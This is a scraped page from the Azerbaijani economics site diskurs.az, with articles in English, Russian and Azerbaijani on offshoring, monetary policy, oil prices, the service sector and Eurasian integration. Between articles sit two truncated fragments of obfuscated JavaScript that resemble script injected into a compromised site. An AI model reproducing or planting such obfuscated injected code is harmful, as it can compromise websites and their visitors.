Exact matches only
Search in title
Search in content
Search in posts
Search in pages
Filter by Categories
Ailə təsrrüfatı
Банк и страхование
Международная экономика
Bilik Iqtisadiyyatı
diskurs.az radio unec
Dünya İqtisadi Forumu
Fiskal Siyasət
İnforqrafika
İnnovasiya
ISE Economic Talks
Made in Azerbaijan
Макроэкономический анализ
Финансовые рынки
Marketinq
Milli iqtisadiyyat
Müsahibə
Нефть
Транспорт
Транспорт
Qender
Предпринимательство
Sənaye
Turizm
Налоги и пошлины
Домохозяйства
Экономическое образование
USD 1.7001, EUR 2.1335, TRY 0.4521, RUB 0.0302, CNY 0.2681, GEL 0.6904, GBP 2.4037, IRR 0.0038, JPY 1.6085, XAU 2310.4274, XAG 28.7542, XPT 1713.3948, XPD 1738.3523
(English) The Globalization of Production: incomplete specialization as a locomotive for international trade
global-supply-chain-2-1024x440

Извините, этот техт доступен только в “Американский Английский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

In the recent decades, international trade is changing in order to reduce trade costs. There are two main motives of changing international trade. The first reason is internationally spreading of trade liberalization and the second cause is steady development of transportation and communication technologies. Initially, these motives were caused to increase foreign direct investment (FDI) in worldwide. Global diffusion of FDI happens with two forms: horizontal and vertical (Krugman et al. 2012). Under horizontal FDI flow, producers try to move production process to their customer locations in order to reduce export and trade costs (Krugman et al., 2012). And it leads to increase intra-industry trade in worldwide. Helpman (1998) clarified that an increase in intra-trade raises product differentiation which consumers gain from it, as well as causes to expand market size of firms. However, based on vertical FDI flow, producers transfer just particular component of their production process to other countries. As many economists, Krugman et al. (2012) explained that not just factor prices are an engine of determining FDI inflow destinations by firms, but also these locations´  infrastructure conditions, quality of legal institutions, and trade policy such as taxation and regulation are playing important role in determining FDI inflow destinations by firms.

On the other hand, firms may pass their some fragment of production process to other independent firms. And this issue is called as “outsourcing” in economic literatures (Grossman/Helpman, 2005; Krugman et al., 2012). Therefore, only full specialization with based on comparative advantages does not form the basis of international trade, but also incomplete specialization is being locomotive for international trade flow. Moreover, outsourcing may be used by firms under vertical FDI abroad too. In this instance, this process is referred to as “offshoring” (Grossman/Rossi-Hansberg, 2006; Krugman et al., 2012). Increasing offshoring creates an impetus for intra-firm trade and trade in tasks. Under intra-firm trade, firms purchase or sell components, portions and other inputs of final goods within their affiliates. But, according to Grossman and Rossi-Hansberg (2006), notion of trade in tasks embraces globalization of production process. And they explored effects of trade in tasks on domestic factors. The study of Grossman and Rossi-Hansberg (2006) showed that there are productivity effect, relative price effect, and labor supply effect. Based on their productivity effect, all production factors gains from trade in tasks due to technological changes. However, according to relative price effect, improvements in technology decreases relative price of labor intensive goods, and in the result, it influences negatively low skilled labor. On the other hand, in accordance with labor supply effect, development of communications and transportation technologies increase the offshoring of low skilled labor.

Ali Adigozal (Alı Adıgözəl)

References:

  1. Krugman, P.R., M. Obstfeld and M. Melitz (2012)-International Economics, 9. edition (Boston et al.: Pearson)
  2. Grossman, G., and Rossi-Hansberg, E. (2006) “Trading Tasks: A Simple Theory of Offshoring”, NBER, Working Paper 12721 (http://www.nber.org/papers/w12721)
  3. Grossman, G., and Helpman, E. (2005) “Outsourcing in a Global Economy”, Review of Economic Studies (2005) 72, 135–159
  4. Helpman, E. (1998) “The Structure of Foreign Trade”, NBER, Working Paper 6752
(Azərbaycan) Anar Rzayev. «Вертолетные деньги» макроэкономической политики.
helli money

Извините, этот техт доступен только в “Азербайджанский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

Показатели мировой торговли по данным Мирового Банка показывают скромный рост в 2,8%, что в принципе сходно с прогнозами, сделанными в 2015. Экономики США, Великобритании и Германии показывают неустойчивые положительные тренды. Япония никак не может «вырваться» из объятий стагнации, которая, в принципе, для нее уже стала нормальным состоянием. Темпы роста экономики Китая снижаются и страна пытается удержаться на 6,5%. Экономика Индии показывает уверенный рост в более чем 7%. Россия и Бразилия находятся в глубокой рецессии.

После политики количественного смягчения последнее, что ведущие страны предприняли для стимулирования экономик было введение негативных учетных ставок. Но после того как Европейский Союз и Япония применили негативные учетные ставки всех ждал сюрприз. Можно сказать, что никакого положительного эффекта это не произвело. Более того йена даже начала расти по отношению к доллару.

По мнению многих специалистов (Б. Бернанке,  N. Roubini) негативные учетные ставки не имели успех по той причине, что банки абсорбировали часть ущерба из своей маржи и не передали его вкладчикам. Кроме того, ситуация с небольшой негативной ставкой не сильно отличается от нулевой ставки, так как вторая, в принципе тоже является негативной если брать во внимание временную ценность денег (реальные учетные ставки). Так что рынок уже привык к ним.

Что же будет с теоретическими основами макроэкономической политики? Экономический мир ведет ожесточенные споры о будущем монетарной политики, в то время как правительства ведущих стран не хотят использовать инструменты фискальной, справедливо полагая, что это даст временный эффект и приведет к искажению рынка. Третьей к сожалению пока не дано.

Монетаристы заявляют, что они все еще обладают определенными резервами и предлагают новые инструменты. Перечислим их: (первые два уже применяются)

  1. Негативные учетные ставки.
  2. Руководство к будущему (Forward guidance) — центральные банки открыто и заранее заявляют о своей планируемой политике и о ситуациях, при которых они ее изменят. Можно назвать это «индикативной монетарной политикой».
  3. Инструменты, связанные с таргетированием уровня цен, инфляции и номинального ВВП
  4. Налогообложение остаточной наличности банков с целью лишить их интереса аккумулировать ее. Это можно назвать «фискальной монетарной политикой».
  5. «Вертолетные деньги» — прямая раздача денег населению для стимулирования совокупного спроса. Можно назвать это «высокотехнологическим кейнсианством». Кейнс в шутку предлагал закапывать деньги в банках и указывать населению где они находятся для стимулирования совокупного спроса.

В любом случае с точки зрения экономической теории мы живем в интересное время так как должно произойти рождение нового направления макроэкономической политики. По нашему мнению ведущие страны не вернутся к традиционной фискальной политике, а скорее всего изобретут фискальную политику с монетарными методами в духе последних двух пунктов (4 и 5). Кроме того, для экстенсивного роста мировой экономики будут выисканы и вовлечены в мировую экономику новые точки роста коими могут быть Индия и африканские страны.

(Azərbaycan) Qeyri-neft sektorunun inkişafı davamlı inkişaf modelinə keçidin mühüm istiqamətidir
What-is-Industrial-Engineering-8

Извините, этот техт доступен только в “Азербайджанский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

İnnovativ iqtisadiyyatın formalaşması , yerli resurs və xammalla işləyən və ixrac qabiliyyətli məhsullar istehsal edən muasir sənaye sahələrinin yaradılması  davamlı iqtisadiyyatın inkişafını əsaslandırır. Azərbaycanda son illər davamlı inkişaf xarakteri  almış  qeyri –neft sektorunda  artım  qeydə  alınmışdır.  Ölkəmiz uzun illərdir ki, neft və qaz sənayesinin mühüm inkişaf xüsusiyyətləri  ilə dünya arenasında addımlayır. Həm keçmiş SSRİ tərkibində olan dönəmdə , həm də hal-hazırkı zaman kəsiyində  Azərbaycan neft və qaz hasilatının həcmi ilə diqqət mərkəzində olmuşdur. Ölkəmiz öz iqtisadi siyasətini təkcə neft faktoruna bağlamadan ,digər sahələrin , qeyri neft sektoru sahələrinin inkişafınına yönəltmişdir. Bunu əyani şəkildə müşahidə etmək üçün yaxın illərin statistik məlumatlarına nəzər yetirmək kifayətdir.Son illərdə həyata keçirilən sənayeləşmə tədbirləri çərçivəsində neft-qaz, qızıl və digər hasilat sahələrində əldə edilmiş uğurlarla yanaşı, sənayenin diversifikasiyası genişləndirilmiş, yeni istehsal gücləri istifadəyə verilmiş, müasir texnologiyalara əsaslanan rəqabətqabiliyyətli müəssisələr yaradılmışdırSumqayıt Texnologiyalar Parkının, Alüminium İstehsalı Kompleksinin və Azərbaycan Polad İstehsalı Kompleksinin yaradılması, Bakıda Gəmiqayırma

stp 2zavodunun fəaliyyətə başlaması, Gədəbəy və Daşkəsəndə qızıl-mis emalı zavodlarının qurulması, Sumqayıtda neft-kimya sənayesində modernizasiya işlərinə başlanılması və Karbamid Zavodunun inşası, Qaradağda Sement Zavodunun istehsal gücünün artırılması və yeni zavodun inşası, Qazaxda, Naxçıvanda yeni sement zavodlarının tikilib istifadəyə verilməsi qeyri-neft sənayesinin növbəti mərhələdə daha dərin şaxələndirilməsi üçün geniş imkanlar yaradır. Ötən dövrdə ölkədə qeyri-neft sənayesinin əsas halqalarını formalaşdıran maşınqayırma, avadanlıq istehsalı, cihazqayırma və tikinti materiallarının istehsalı sahələrində yeni rəqabətqabiliyyətli müəssisələr yaradılmış, o cümlədən Gəncədə traktor və kənd təsərrüfatı texnikası, Naxçıvanda avtomobil, Mingəçevirdə elektron avadanlıqlar, Sumqayıtda günəş panellər, Qaradağda metal konstruksiyalar, Hacıqabulda seramik plitələr istehsalı müəssisələri qurulmuşdur.  Qeyri-neft sektorunun inkişafına təkan verən mühüm amillərdən olan metalurgiya sənayesinin inkişafını sürətləndirmək məqsədi ilə , Azərbaycan Polad İstehsalı Kompleksi  QSC-i yaradılmışdır. Ölkədə qeyri-neft sənayesinin inkişafı istiqamətində görülən tədbirlər artıq öz müsbət nəticəsini verməkdədir. Cari ilin birinci yarısında qeyri-neft sektorunda 7 faiz artım qeydə alınıb. Bu da ölkədə həyata keçirilən sənayeləşmə siyasətinin doğruluğunu bir daha təsdiq edir. Ümumiyyətlə, sənayenin inkişafı, xüsusilə ağır sənayenin inkişafı metal təminatından bilavasitə asılıdır. tarktor istehsali

Dünya iqtisadiyyatının qloballaşması fonunda Azərbaycanın iqtisadiyyatının neft amilindən asılılığının azaldılması, qeyri-neft sektorunun inkişafında kompleksliliyin artırılması, dünya iqtisadiyyatına kifayət qədər dərin inteqrasiya olunması, enerji və resurslara qənaət edən ekoloji təmiz texnologiyaların istehsalının stimullaşdırılması, sənayenin ayrı-ayrı sahələrinin bir-biri ilə uzlaşmış şəkildə fəaliyyət göstərməsi diqqət mərkəzində saxlanılmalıdır.

  Azərbaycanda ümumi iqtisadi artımın əsas hissəsi ulu öndər Heydər Əliyevin rəhbərliyi ilə işlənib hazırlanmış neft strategiyasının uğurlu nəticələri hesabına təmin olunsa da , son illər qeyri-neft sektoru üzrə də xüsusi fəallıq nəzərə çarpır. Bu da Azərbaycanın dövlət başçısı İlham Əliyevin rəhbərliyi ilə ölkə iqtisadiyyatının şaxələndirilməsi istiqamətində həyata keçirilən tədbirlərin məntiqi nəticəsidir. Son illər ölkəmizdə  informasiya kommunikasiya texnologiyalarının (İKT) inkişaf etdirilməsi sahəsində də əhəmiyyətli tədbirlər həyata keçirilir.IKT shekil

Qarşıdakı illərdə İKT infrastrukturu inkişaf etdiriləcək, əhaliyə müasir elektron xidmətlərin göstərilməsi imkanları genişləndiriləcək, kənd yaşayış məntəqələri də daxil olmaqla ölkə ərazisində genişzolaqlı, ucuz və keyfiyyətli internetə çıxış təmin ediləcəkdir. Distant təhsil, elektron ticarət, tele-tibb və digər müasir xidmət növlərinin geniş tətbiqinə nail olunacaq, elektron ticarət əqdləri iştirakçılarının müdafiəsini və təhlükəsizliyini təmin etmək üçün qanunvericilik təkmilləşdiriləcəkdir. Bölgələrdə İKTnin tətbiqi genişləndiriləcək, əhalinin rəqəmsal hazırlığı və ölkənin qlobal informasiya məkanına inteqrasiya səviyyəsi yüksəldiləcəkdirSənaye siyasətinin əsas məqsədlərindən biri də sənayenin rəqabət qabiliyyətinin artırılmasına yönəldilmiş tədbirlərin həyata keçirilməsindən ibarətdir. Bu tədbirlər sahəvi araşdırmalar nəticəsində müxtəlif sektorların xüsusiyyətlərinə uyğun olaraq əlavə tədbirlərlə dəstəklənməlidir. Sənayenin rəqabət qabiliyyətinin yüksəldilməsi məqsədi ilə enerji tariflərinin tənzimlənməsində çeviklik artırılmalı, çevik tarif siyasəti əlverişli vergi və gömrük rejimi və çevik məzənnə siyasəti ilə müşayiət edilməlidir. Bununla yanaşı, sənayeyə investisiyaların cəlb edilməsi üçün imkanlar genişləndirilməli, sənayeyə yönləndirilən dövlətin güzəştli kreditlərindən istifadə və lizinq imkanları artırılmalı, qeyri-neft sənayesinə investisiyaların təşviqi mexanizmi yaradılmalıdır. Sənaye müəssisələrinin quruluş xərclərinin azaldılması, sənaye zonalarından (xüsusi iqtisadi zona, sənaye parkı və sənaye məhəllələri) kənarda yerləşən sənaye layihələrinin müəssisədən kənar infrastruktur təminatının yaxşılaşdırılması, bu məqsədlə dövlət vəsaiti hesabına həyata keçirilən infrastruktur layihələrinin özəl sektorun investisiyaları ilə əlaqələndirilməsi mexanizmi qurulmalıdır. Eyni zamanda, bir sıra qabaqcıl ölkələrin təcrübəsindən istifadə edərək dövlət-özəl tərəfdaşlıq modellərinin tətbiqinin genişləndirilməsi diqqət mərkəzində saxlanılmalıdır.

Hazırladı : UNEC-in doktorantı  Quluyev R.M

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «diskurs.az»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «diskurs.az»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Anar Rzayev. Возможные результаты нефтяного саммита в Дохе.
NeftQiymetleri

 

17-го Апреля 18 стран, представляющих 60% мировой добычи нефти встречаются в Дохе с целью проведения переговоров по заморозке уровня добычи нефти. Необходимо отметить, что США и Китай на встрече участвовать не будут. Прогнозировать результаты встречи довольно сложно, но можно произвести описание ситуации.

Во-первых, необходимо сказать, что мировое предложение нефти все еще опережает спрос на нее примерно на 3 млн. баррелей в день. Примечательно, что это равно ежедневному экспорту иранской нефти. Во-вторых, лидеры по добыче — Россия и Саудовская Аравия находятся на рекордной отметке своей добычи и резервов для ее дальнейшего наращивания у них почти не осталось. В-третьих, производители сланцевой нефти в США несмотря на сокращение добычи и закрытия скважин не останавливали свои технологические разработки и на данный момент уровнем рентабельности для них принято считать 55 долларов США за баррель. Таким образом, в принципе, потолок цен определен — 55 долларов США. После этой цены «сланцевики» снова включат свои скважины, не позволяя цене далее расти. В четвертых показатели экономик основных потребителей нефти США и Китая не позволяют прогнозировать рост спроса на нефть. К концу года мировая добыча нефти должна сократиться на 700 тыс. баррелей в день. Именно настолько Иран планирует поднимать свою добычу.

Рынок фьючерских сделок на нефть показывает снижение, показывая, что он не верит в перспективы саммита в Дохе. В противовес этому фондовый рынок реагирует позитивно и происходит рост индексов, относящихся к этим странам. По нашему мнению, такой рост скорее связан со спекулятивными действиями и увеличением коротких позиций нежели с реальной экономической ситуацией.

Дополнительно стоит внимания и тот факт, что к началу апреля хедж-фонды держали контрактов на 700 млн. баррелей и единовременный сброс может произвести эффект бомбы на рынке нефти.

Все перечисленное не позволяет делать позитивные прогнозы по поводу цены на нефть. Это означает, что любые положительные результаты будут краткосрочны и спекулятивны.

По поводу самой встречи.

Странам участникам саммита, по большому счету, терять нечего и они хотят сохранить свои рыночные позиции. Так как они и так и так не могут далее повышать добычу, поэтому возможно достижение определенных договоренностей, хотя бы для создания видимости коллективных действий.

Решающее значение имеет позиция Ирана, а именно не то согласится ли эта страна заморозить уровень добычи — она не будет этого делать — а то насколько быстро Иран будет наращивать добычу. Саудовская Аравия и Россия фактически произвели раздел рыночной доли этой страны и Иран решительно собирается ее возвращать.

Резюмируя можно предположить, что скорее всего страны договорятся о заморозке уровня добычи и уговорят Иран повышать свою добыча более плавно. На что Иран согласиться, но следовать этому не будет. Кстати, это принятая «стратегия» нефтедобывающих стран. В 2001 году Россия согласившись уменьшить добычу нефти, наоборот нарастила ее. Это произведет небольшой краткосрочный психологический эффект и цены поползут в сторону 45 долларов США, что Ирану тоже выгодно.

Если же произойдет обратное то стоит ожидать падение цен до уровня 30 долларов США.

Чрезмерный рост сектора услуг может угрожать стабильному экономическому развитию? Рзаева Инара
yourstory_service_msme

Современная мировая экономика характеризуется превалированием сектора услуг. Некоторые даже считают, что это залог успешного развития общества. По данным Всемирного Банка в США сфера услуг составляет примерно 74% в ВВП страны и в тоже время на нее приходится примерно 80% рабочих мест. Подобная картина характерна и для стран Западной Европы, где в сфере услуг занято более 60% от общего числа занятых и на долю услуг приходится около 63% ВВП, в Японии доля услуг в ВВП страны составляет 56%. В тоже время, международная торговля услугами является одной из наиболее динамично растущих направлений мирового хозяйства. Безусловно современное развитие мировой экономики без сектора услуг представить не возможно. Локомотивами сектора услуг являются банковский и транспортный секторы, сфера информационных технологий и туризм.
Но так ли безопасно чрезмерное поощрение развитие данного сектора в ущерб развитию материальных секторов?
Существуют такие факты, что при даже незначительных колебаниях в экономике первым реагирует сектор услуг. Так именно сектор услуг стал индикатором начала экономического кризиса в 2007 году (как известно кризис в США начался с банковской системы). Другой пример, кризис в Ирландии. Это страна очень жестко почувствовала последствия кризиса. И многие специалисты считали, что кризис в Ирландии был усугублен тем, что страна в последние годы стала активно развивать банковский сектор в ущерб реальных секторов. Еще один пример, спад экономического роста в Китае. Некоторые эксперты считают, что он связан в том числе и со сменой экономической модели развития. Если раньше страна акцентировалась на развитии промышленного сектора, то в последние годы приоритеты сместились в сторону сферы услуг и внутреннего потребления.
Кстати говоря, развитые страны снижая долю индустриального сектора и расширяя сферу услуг в структуре ВВП, не перестали быть непромышленными, потому что они существенную часть промышленного производства перебросили на территорию развивающихся стран, с целью использования дешевого сырья и рабочей силы.
На наш взгляд наиболее правильную стратегию экономического развития выбрала Германия. В то время как в Великобритании,Франции и Италии в последние годы идет активный процесс деиндустриализации, и их доля в промышленном секторе имеет тенденции к снижению, доля промышленности в экономике Германии стабильно составляет 22% и позволяет ей занимать ведущее место на рынке. Может быть поэтому экономика Германии проявила высокую устойчивость в условиях экономического кризиса?

Возможные сценарии экономического поведения стран Южного Кавказа и Центральной Азии в контексте формирования Евразийского экономического союза
image

5-16 Noyabr 2014-cü il Qazaxstanın Alma Ata şəhərində Avrasiya Sosial Elmlər Forumunda UNEC Beynəlxalq İqtisadi Münasibətlər fakultəsinin dekanı i.e.n. dos. Mənsur Bərxudarovun çıxışı

С начала ХХ века по сегодняшней день в мировой цивилизации происходят события глобального характера, которые изменяет курс ориентации целых мировых регионов. В глобальном отношении ХХ век был отмечен двумя разрушительными войнами, великой депрессией тридцатых годов, распадом колониальных империй, быстрым прогрессом науки и технологии, холодной войной между капиталистическим и социалистическим миром, развалом СССР и превращением США в единственную сверхдержаву.

В результате развала Советского Союза и распада мировой социалистической системы западный экспансионизм распространился по всему экономическому и культурному пространству бывшего мирового социалистического лагеря. В таких условиях страны Южного Кавказа и Центральной Азии постепенно стали формировать свою внешнеэкономическую политику. В основе экономической политики этих стран лежали принципы Вашингтонского Консенсуса. В результате формирования новой экономической системы страны Южного Кавказа и Центральной Азии изменили свой внешнеэкономический курс по различным направлениям. Несмотря на создания СНГ, Россия не то что смогла играть роль лидера в данной региональной интеграции, и она сама постепенно превращалась в ресурсную базу Запада.

С конца   90- годов во внешнеэкономической политике России появились качественно новые элементы, которые характеризуются противостоянием политики Запада. В первом десятилетии 2000-х годов данная политика, проведенная Россией постепенно формировала ее новую внешнеэкономическую доктрину. Согласно этой доктрине Россия внешнюю ориентацию изменяет от Запада на Восток.

Инициатива создания Евразийского Союза вызвала отрицательную реакцию Запада. С целью предотвращения евразийской интеграции Запад во главе США применяют стратегию сдерживания и баланса силы против России, использует инвестиции, политику евразийского соседства ЕС, а также ведет широкомасштабную информационную пропаганду. Россия в свою очередь ведет более агрессивную ответную политику.

Бывший государственный секретарь США Хиллари Клинтон заявила следующее: « Существует попытка повторно советизировать регион. Это не будет называться СССР. Это будет называться Таможенный союз, она будет называться Евразийский союз, или оба вместе. Мы знаем, в чем состоит цель, и мы пытаемся выработать эффективные способы, замедлить или предотвратить его». ( www.riss.ru//analitika ). Концептуально данная позиция неприятия и противодействия интеграции в Евразии опирается на доктрину бывшего советника президента США по национальной безопасности Збигнева Бжезинского. Его концепция аргументируется конкретными цифрами. Если Евразию составить с другими континентами, то мы увидим что она является крупнейшим континентом на земном шаре и его политической осью: Здесь проживает 75% населения земного шара. Она содержит большую часть мирового природного богатства, около 60% известных мировых энергетических ресурсов. По словом Бжезинского, Евразия является центром мира и том, кто контролирует Евразию, управляет миром. Она является шахматной доской, на которой продолжается борьба за мировое господство(3б. Бжезинский 1999).

Он делит евразийскую шахматную доску на четыре региона. Если Центр ( Россия) можно вовлечь в Запад ( Европа), над котором доминирует США, если Юг ( Южный Кавказ, Центральная Азия, Ближний Восток и регион, простирающийся от Турции до Индии) не подвергается господству одной державы, и если Восток ( Китай, Япония, обе Кореи) не объединены, Америка, точно сказать, преобладает. Без Украины, по его мнению, Россия перестает быть Евразийской империей. В чувствительных зонах находятся: Украина, Азербайджан, Турция, Иран и Южная Корея. Что касается Азербайджана, независимость государств Центральной Азии может быть бессмысленной, если Азербайджан будет полностью подчинен контролю Москвы. Кризис на Украине, европейская ориентация Грузии еще больше усиливают значение Азербайджана. Сегодня Украина и Грузия институционально принимается в Европу, но Грузия без Азербайджана не имеет геополитического значения. Только будучи вместе, они как бы захлопывают Кавказ. В условиях, когда Грузия делает выбор в пользу Европы, а Армения а пользу Евразии, позиция Азербайджана становится ключевой, и от нее будет зависеть, где будет Южный Кавказ. Европейская ориентация Азербайджана ставил Армению вне игры. Евразийская ориентация Азербайджана делает выбор Грузии бессмысленным, потому что без Азербайджана выбор Грузии не имеет большого значения, особенно если Украина будет нейтральной. Турция, Южный Кавказ и Центральная Азия, таким образом, связываются по одной линии.

Чтобы достичь и обеспечить мировое господство после Второй мировой войны международные силы начали объединяться в различных экономических блоках. Исторически первым экономическим объединением выступи Совет экономической взаимопомощи ( СЕВ ), который объединения практически всех Восточноевропейских стран вокруг СССР. Против этого мощного экономического образования возникло в Западной Европе экономическое объединение ( общий рынок ), в состав которого сегодня входят 28 стран Европы.

Паралельно с разрушением социалистической системы хозяйствования разрушился и ее региональное экономическое объединение. На постсоветском пространстве стали образовываться новые региональные экономические интеграционные блоки типа СНГ, ГУАМ, ШОС, Таможенный Союз и т.д. Но, все эти интеграционные объединение не смогли достичь поставленной цели.

Но, в последние годы Россия активизировала свою деятельность в этом направлении. Являясь центром нового регионального экономического объединения вокруг России формируется новый мощный экономический блок, который ставит перед собой контролировать огромную часть Евразийского пространства.

Евразийский экономический союз это международное интеграционное объединение, договор о создании который был подписан 29-го мая 2014-го года. Он вступает в силу с 1-го мая 2015-го года. В его состав входят Россия, Казахстан, Белоруссия, и Армения. Этот союз создается для укрепления экономик стран- участниц и развития взаимного экономического сотрудничества, для модернизации конкурентоспособности стран на мировом рынке. До конца 2014-го года к ЕАЕС планирует присоединиться Киргизия. Также возможность вступления в организацию рассматривается Таджикистаном. Правительство Таджикистана выразило заинтересованность к вступлению в организацию и заявило, что изучает возможные последствия для экономики страны в том случае, если решение будет принято. По мнению некоторых экспертов, вопрос о вступлении Таджикистана тормозится из-за наличия территориального спора с другим возможным кандидатом- Киргизией.

Также направления, как охрана границ, миграционное политика, система обороны и безопасности, а также вопросы здравохранения, образования, культуры, правовой помощи, по гражданским, административным и уголовным делам не относятся к экономической интеграции и не могут быть перенесены в формат экономического союза, заявил президент Казахстана Нурсултан Назарбаев. Выступая против политизации Евразийского экономического союза он заявил, что как суверенные государства мы активно сотрудничаем с различными странами, международными организациями, не ущемляя взаимных интересов. Союз не должен мешать нам в этом направлении ( Казахстан против создание Евразийского парламента. Астана ТВ, 18-го сентября 2013-го года).

В рамках формирования Евразийского экономического союза предполагается унифицировать подходы к налогообложению налоговых резидентов граждан государств- членов ЕАЭС, с тем чтобы в случае заключения долгосрочных трудовых договоров гражданами стран ЕАЕС налогообложения их доходов от роботы по найму в Российской Федерации осуществлялось на условиях не менее благоприятных, чем налогообложения налоговых резидентов Российской Федерации.

Общие макроэкономические ожидания от интеграции стран участниц нижеследующие:

— снижение цены на товары благодаря уменьшению издержек перевозки сырья и экспорта своего товара;

— стимулирования конкуренции на общем рынке ЕАЕС за счет равного уровня экономического развития и благодаря вхождению на рынок игроков из общего пространства;

— увеличение уровня заработной платы благодаря уменьшению издержек и повышению производительности;

— наращивание производства благодаря увеличению спроса на товары;

— увеличение благосостояния народов стран ЕАЕС благодаря снижению цен на продукты и увеличению занятости населения;

— повышение окупаемости новых технологий и товаров благодаря увеличенному объему рынка;

— увеличение объема ВВП стран ЕАЕС.

В целях создания единого экономического пространства в рамках ЕАЕС предлагается создание наднациональных структур:

— Комиссия по экономике;

— Комиссия по сырьевым ресурсам ( устанавливает цены и квоты на сырьевые товары и энергоносители, координирует политику в области добычи, продажи золота и других драгоценных металлов, и др.);

— Фонд по делам экономического и научно- технического сотрудничества, формирующийся за счет вкладов стран ЕАЕС;

— Комиссия по межгосударственным финансово- промышленным группам и совместным предприятием;

— Международный инвестиционный банк ЕАЕС;

— Комиссия по вводу расчетной денежной единицы;

— Комиссия по экологии.

Стремление России сохранить свое влияние на постсоветском пространстве   приводит сегодня в противоречие с интересами мировой сверхдержавы, а именно — Соединенных Штатов Америки.

В частности, регион Южного Кавказа, где исторически между Россией, Турцией и Ираном шла борьба за сферу влияния, в современную эпоху превратился в арену борьбы глобальных геополитических сил. На протяжении ХХ века Кавказ был для западного блока передним фронтом борьбы с Советским Союзом.

В геополитических условиях, сложившихся после окончания холодной войны, для Запада и прежде всего для США как глобальной силы Южный Кавказ был ареной соперничества против двух крупных держав. Главными геополитическими мишенями США в этом регионе была борьба против России и Ирана и доступ к энергетическим запасам каспийско- центрально- азиатского региона. Азербайджан же как лидирующее государство региона известен на международной арене как страна, осуществляющая независимую внешнюю политику, основанную на национальных интересах.

Одним из самых значительных геополитических регионов принимается Каспийско-Черноморский бассейн и Южно-Кавказский регион. Специалисты считают, что в конце XX — в начале XXI века Южный Кавказ и Средняя Азия превращаются в арену геоэкономической и геополитической борьбы стран мира. Богатые энергетические ресурсы региона, соединительная географическая позиция в связях между Востоком и Западом, расположение на самых географически близких и транспортно-коммуникационных и энергоэкспортных коридорах делает его центром мировой политики. Начатая геополитическая борьба за Южный Кавказ и Среднюю Азию является составной частью контроля за более обширными территориями Евразии.

Поэтому, сегодня Запад поддерживает транснациональные геополитические и геоэкономические проекты таких государств региона, как Азербайджан, Украина, Казахстан, Грузия, Молдова, Узбекистан и посредством их усиливает свои стратегические позиции.

Дело в том, что через евразийское постсоветское пространство проходят важные транспортные сети, которые способны соединить наиболее коротким путем промышленно развитые районы Запада с богатыми полезными ископаемыми, но удаленными районами Евразии на востоке, что крайне важно с геоэкономической точки зрения. Близ Каспия и в его акватории сосредоточены огромные запасы газа, нефти, золота, никеля, других цветных металлов. В недрах регионов Центральной Азии и бассейна Каспийского моря сосредоточены запасы природного газа и нефти.

После распада СССР постсоветское пространство отличается нестабильностью. Каждая из новых независимых стран СНГ переживает различные внутренние трудности. Многие из них имеют границы, которые являются либо объектом претензий соседей, либо зонами этнических и религиозных конфликтов. Если первоначально Содружество Независимых Государство в геополитическом плане преследовало одну цель — обеспечить мягкий передел пространства бывшего СССР, то сегодня СНГ представляет собой фактически формальное образование. В настоящее время далеко не все независимые государства СНГ стремятся найти какие-либо формы интеграции с Россией.

С появлением новых независимых государств на Южном Кавказе и Центральной Азии статус Москвы в зоне Каспийского бассейна существенно понизился. Что касается США, то первостепенный интерес Америки состоит в том, чтобы обеспечить такую ситуацию, при которой ни одна держава не контролировала бы данное пространство, а Запад имел бы к нему беспрепятственный финансово-экономический доступ. США  заинтересованы в разработке богатств Евразии, в прокладке новой сети нефтепроводов и транспортных путей, которые соединят регионы Евразии с крупными центрами мировой экономики. Поэтому американская стратегия в отношении России состоит в том, чтобы не допустить занятия доминантного положения в странах Южного Кавказа и Центральной Азии.

Поэтому, сегодня США пока как единственная сверхдержава мирового масштаба очень четко объявляют свою целостную и ясную стратегию в отношении Евразии. Некоторые геополитические центры СНГ получают особенно мощной геополитической поддержки со стороны Америки. Это Украина, Южный Кавказ и Центральная Азия.

Южный Кавказ в силу наличия там проблем политического, экономического конфликтного характера и уникального географического положения для развития транспортных сетей часто объединяют термином «Евразийские Балканы». Этот регион имеют большое значение с точки зрения национально- экономических интересов четырех непосредственных и наиболее мощных соседей, а именно России, Турции, Ирана и Китая.

То, что касается геоэкономического интереса Китая, то следует сказать что, политику Китая которая реализуется в Центральной Азии нельзя рассматривать вне исторического контекста. Следует отметить что в 90-е годы регион был интересен Китаю как источник интеллектуальных человеческих ресурсов. Поэтому в основном договора заключались о научно- техническом сотрудничестве.

Потеряв интерес к региону в 1996- 2000 году, Китай возобновил медленную активность после 2000-го года в связи с началом этапа развития Синьцзян- Уйгурского автономного района ( СУАР). Пекин переориентировал свою внешнюю политику для развития внешнеэкономических связей этой своей западной провинции со странами Центральной Азии. Эти связи строились медленно до 2005-го года, а с середины того же года Пекин начал строит свое отношение стратегического партнерства со странами Центральной Азии и этот процесс завершился только к концу 2000-го года. Объем товарооборота стран региона с Китаем за последние десять лет возрос в 50 раз и 70% от общего объема товарооборота стран региона с Китаем приходится на одну только провинцию- СУАР. Можно сказать, что страны Центральной Азии превращаются в сырьевой придаток китайской экономики. Следует сказать, что амбиции Китая в Центральной Азии может остановить евразийская интеграция, но при условии, если этот процесс заработает.

Оценка перспектив развития и возможные сценарии развития стран Южного Кавказа и Центральной Азии имеет приоритетное значение с точки зрения стратегических интересов этих стран. С учетом многообразия внешних и внутренних факторов, влияющих на отдельные страны и регионы СНГ, существует несколько возможных сценариев развития ситуации в Евразии, в той или иной мере затрагивающие интересы стран Южного Кавказа и Центральной Азии. Очевидно, что в перспективе данный регион останется сферой политического и экономического противостояния крупнейших субъектов мирового сообщества, которые будут соперничать, бороться здесь за влияние, ресурсы и рынки.

